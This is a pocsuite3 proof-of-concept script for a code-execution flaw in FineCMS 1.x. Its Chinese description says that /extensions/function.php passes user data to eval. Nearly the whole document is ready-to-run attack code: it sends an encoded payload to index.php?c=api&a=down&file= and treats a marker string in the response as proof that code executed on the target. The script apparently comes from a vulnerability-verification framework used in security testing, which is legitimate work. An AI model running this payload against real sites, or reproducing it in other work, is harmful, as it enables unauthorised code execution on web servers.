FineCMS 1.x /extensions/function.php 代码执行漏洞

""" If you have issues about development, please read: https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md for more about information, plz visit http://pocsuite.org """ from pocsuite3.api import Output, POCBase, register_poc, requests class DemoPOC(POCBase): vulID = '1297' # ssvid version = '1' author = ['chenghs@knownsec.com'] vulDate = '2014-05-20' createDate = '2014-05-27' updateDate = '2014-05-27' references = ['http://wooyun.org/bugs/wooyun-2014-061643'] name = 'FineCMS 1.x /extensions/function.php 代码执行漏洞 POC' appPowerLink = 'http://www.dayrui.com' appName = 'FineCMS' appVersion = '1.x#' vulType = 'Code Execution' desc = ''' 在 /extensions/function.php 中 $data 在一定条件下 会带入 eval 函数，精心构造代码，会造成代码执行。 ''' samples = [] install_requires = [''] def _verify(self): result = {} vul_url = '%s/index.php?c=api&a=down&file=' % self.url payload = 'NGJiNHNudTZjRVI5MnNMYWpUS2p3M2NDWkdnM1o4NTNFbnlJOXZNdVNn' \ 'a2xYdkpHS0ZoTkhyYnZrV3BrdEFWWjlWOE5Ua1A2L2MxbzF5b3BJM0hO' \ 'enB4Snczdlc1Q3c' response = requests.get(vul_url+payload).text if 'jgowjivqfrsabsd063' in response: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = self.url return self.parse_output(result) def parse_output(self, result): output = Output(self) if result: output.success(result) else: output.fail('target is not vulnerable') return output def _attack(self): return self._verify() def _shell(self): pass register_poc(DemoPOC)